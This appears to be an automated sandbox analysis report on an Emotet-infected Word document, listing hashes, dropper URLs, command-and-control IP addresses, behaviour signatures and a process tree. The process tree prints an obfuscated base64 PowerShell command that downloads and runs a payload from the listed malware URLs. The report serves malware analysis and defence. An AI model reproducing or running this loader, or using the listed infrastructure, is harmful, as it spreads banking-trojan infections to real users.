Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    64s
  • max time network
    130s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    14/08/2020, 21:23

Sharing

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General

  • Target
    emotet_e2_6c2eba2dcea75385e146eb28ffde0be82b8b78f4d943bda7462eebfb283e6c34_2020-08-14__212115._doc.doc
  • Size 230KB
  • Sample200814-stgpfatdnj
  • SHA256 6c2eba2dcea75385e146eb28ffde0be82b8b78f4d943bda7462eebfb283e6c34
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://construction.maitriinfosoft.com/9efesfwep/en99_b_96ukm/
  • exe.dropper

    http://tocro.net/fmc66/g3h_xw_epkgkl0y/
  • exe.dropper

    http://duolife-partner.com/wp-content/h7_t5l_xkezzpi/
  • exe.dropper

    http://neukenmetsterren.nl/wp-admin/tc_8o8_fw6/
  • exe.dropper

    http://gh.xahpyy120.com/phpmyadmin/h_1u_ta2d6cpl/

Extracted

Family

  • emotet

C2

  • 75.139.38.211:80

  • 69.30.203.214:8080

  • 67.205.85.243:8080

  • 190.160.53.126:80

  • 183.101.175.193:80

  • 137.59.187.107:8080

  • 168.235.67.138:7080

  • 209.143.35.232:80

  • 180.92.239.110:8080

  • 167.86.90.214:8080

  • 85.66.181.138:80

  • 95.213.236.64:8080

  • 83.169.36.251:8080

  • 157.245.99.39:8080

  • 79.98.24.39:8080

  • 70.167.215.250:8080

  • 93.51.50.171:8080

  • 174.102.48.180:80

  • 24.179.13.119:80

  • 41.60.200.34:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 3 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_6c2eba2dcea75385e146eb28ffde0be82b8b78f4d943bda7462eebfb283e6c34_2020-08-14__212115._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1452
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABSAHMAOQBrAHcAdgBoAD0AJwBYAGUANQB5ADkAdABqACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABlAGMAVQByAGkAdAB5AHAAcgBPAGAAVABPAEMAYABPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABWAGgAawB6AHUAMAB0ACAAPQAgACcAVwB4AG4AZAAnADsAJABEADYAagB3AGUAcgAzAD0AJwBMAF8AagBmADgANgB4ACcAOwAkAE0AcQBkAGoAOQA1AHcAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABWAGgAawB6AHUAMAB0ACsAJwAuAGUAeABlACcAOwAkAEwAbgA5ADcAaQB1AG4APQAnAEEAMAA1AGwAMABwADMAJwA7ACQARgB1AGQAdgBzAGkAZQA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwBiAGoAZQAnACsAJwBjAHQAJwApACAATgBlAHQALgB3AEUAYgBDAGwASQBFAE4AdAA7ACQATAAyAGkAdwAwADEAegA9ACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBzAHQAcgB1AGMAdABpAG8AbgAuAG0AYQBpAHQAcgBpAGkAbgBmAG8AcwBvAGYAdAAuAGMAbwBtAC8AOQBlAGYAZQBzAGYAdwBlAHAALwBlAG4AOQA5AF8AYgBfADkANgB1AGsAbQAvACoAaAB0AHQAcAA6AC8ALwB0AG8AYwByAG8ALgBuAGUAdAAvAGYAbQBjADYANgAvAGcAMwBoAF8AeAB3AF8AZQBwAGsAZwBrAGwAMAB5AC8AKgBoAHQAdABwADoALwAvAGQAdQBvAGwAaQBmAGUALQBwAGEAcgB0AG4AZQByAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AaAA3AF8AdAA1AGwAXwB4AGsAZQB6AHoAcABpAC8AKgBoAHQAdABwADoALwAvAG4AZQB1AGsAZQBuAG0AZQB0AHMAdABlAHIAcgBlAG4ALgBuAGwALwB3AHAALQBhAGQAbQBpAG4ALwB0AGMAXwA4AG8AOABfAGYAdwA2AC8AKgBoAHQAdABwADoALwAvAGcAaAAuAHgAYQBoAHAAeQB5ADEAMgAwAC4AYwBvAG0ALwBwAGgAcABtAHkAYQBkAG0AaQBuAC8AaABfADEAdQBfAHQAYQAyAGQANgBjAHAAbAAvACcALgAiAHMAcABsAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVgBxADQANQBpAGwAZgA9ACcAVgBxAGUAOAA2AHoAMwAnADsAZgBvAHIAZQBhAGMAaAAoACQARABwADUAbABzAG4AeAAgAGkAbgAgACQATAAyAGkAdwAwADEAegApAHsAdAByAHkAewAkAEYAdQBkAHYAcwBpAGUALgAiAGQAbwBXAGAATgBMAGAAbwBhAGAARABGAGkAbABFACIAKAAkAEQAcAA1AGwAcwBuAHgALAAgACQATQBxAGQAagA5ADUAdwApADsAJABYAGoAcAB1AHYAaQA1AD0AJwBOAHEAdwBnAHkAcQA0ACcAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQATQBxAGQAagA5ADUAdwApAC4AIgBMAEUATgBgAGcAVABIACIAIAAtAGcAZQAgADIAMAAwADYANAApACAAewAuACgAJwBJAG4AdgAnACsAJwBvAGsAZQAtACcAKwAnAEkAJwArACcAdABlAG0AJwApACgAJABNAHEAZABqADkANQB3ACkAOwAkAEcAbAByAGIANQAyAGUAPQAnAFUAYwA0AHEAcgAwAG0AJwA7AGIAcgBlAGEAawA7ACQAVABwAHoAXwBpAHAAdwA9ACcARgBsADQAMQAwAHIAbgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABDAHkAdwBuAGwAYQBjAD0AJwBJAGwANABnAGIAZgBiACcA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1688
    • C:\Users\Admin\AppData\Local\Temp\Wxnd.exe
      "C:\Users\Admin\AppData\Local\Temp\Wxnd.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1564
      • C:\Windows\SysWOW64\ocsetup\termmgr.exe
        "C:\Windows\SysWOW64\ocsetup\termmgr.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1996

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1380-24-0x000007FEE56A0000-0x000007FEE591A000-memory.dmp
        Download

        memory/1452-4-0x0000000007AC0000-0x0000000007CC0000-memory.dmp
        Download

        memory/1452-6-0x000000000BA80000-0x000000000BA84000-memory.dmp
        Download

        memory/1452-7-0x000000000CB00000-0x000000000CB04000-memory.dmp
        Download

        memory/1452-2-0x0000000009560000-0x0000000009564000-memory.dmp
        Download

        memory/1452-12-0x0000000002100000-0x0000000002101000-memory.dmp
        Download

        memory/1564-20-0x0000000000290000-0x000000000029C000-memory.dmp
        Download

        memory/1688-10-0x00000000025B0000-0x00000000025B1000-memory.dmp
        Download

        memory/1688-16-0x000000001B910000-0x000000001B911000-memory.dmp
        Download

        memory/1688-15-0x000000001C460000-0x000000001C461000-memory.dmp
        Download

        memory/1688-14-0x0000000002470000-0x0000000002471000-memory.dmp
        Download

        memory/1688-13-0x00000000025F0000-0x00000000025F1000-memory.dmp
        Download

        memory/1688-11-0x000000001ABF0000-0x000000001ABF1000-memory.dmp
        Download

        memory/1688-9-0x000007FEEA0E0000-0x000007FEEAACC000-memory.dmp
        Download

        memory/1996-23-0x0000000000370000-0x000000000037C000-memory.dmp
        Download